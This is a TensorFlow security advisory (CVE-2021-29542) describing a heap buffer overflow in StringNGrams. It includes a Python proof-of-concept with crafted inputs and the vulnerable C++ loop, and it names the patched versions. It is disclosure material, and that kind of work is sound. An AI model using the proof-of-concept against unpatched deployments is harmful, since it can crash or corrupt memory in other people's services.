Heap buffer overflow in `StringNGrams`

Low mihaimaruseac published GHSA-4hrh-9vmp-2jgg on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams` :

```
import tensorflow as tf

separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True

l = ['', '', '', '', '', '', '', '', '', '', '']

data = tf.constant(l, shape=[11], dtype=tf.string)

l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)

out = tf.raw_ops.StringNGrams(data=data,
    data_splits=data_splits, separator=separator,
    ngram_widths=ngram_widths, left_pad=left_pad,
    right_pad=right_pad, pad_width=pad_width,
    preserve_short_sequences=preserve_short_sequences)
```

This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:

```
for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
  int pad_width = get_pad_width(ngram_width);
  int left_padding = std::max(0, pad_width - ngram_index);
  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
  int num_tokens = ngram_width - (left_padding + right_padding);
  int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
  ...
  tstring* ngram = &output[ngram_index];
  ngram->reserve(ngram_size);
  for (int n = 0; n < left_padding; ++n) {
    ngram->append(left_pad_);
    ngram->append(separator_);
  }
  for (int n = 0; n < num_tokens - 1; ++n) {
    ngram->append(data[data_start_index + n]);
    ngram->append(separator_);
  }
  ngram->append(data[data_start_index + num_tokens - 1]); // <<<
  for (int n = 0; n < right_padding; ++n) {
    ngram->append(separator_);
    ngram->append(right_pad_);
  }
  ...
}
```

If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]` .

Patches

We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29542

Weaknesses

No CWEs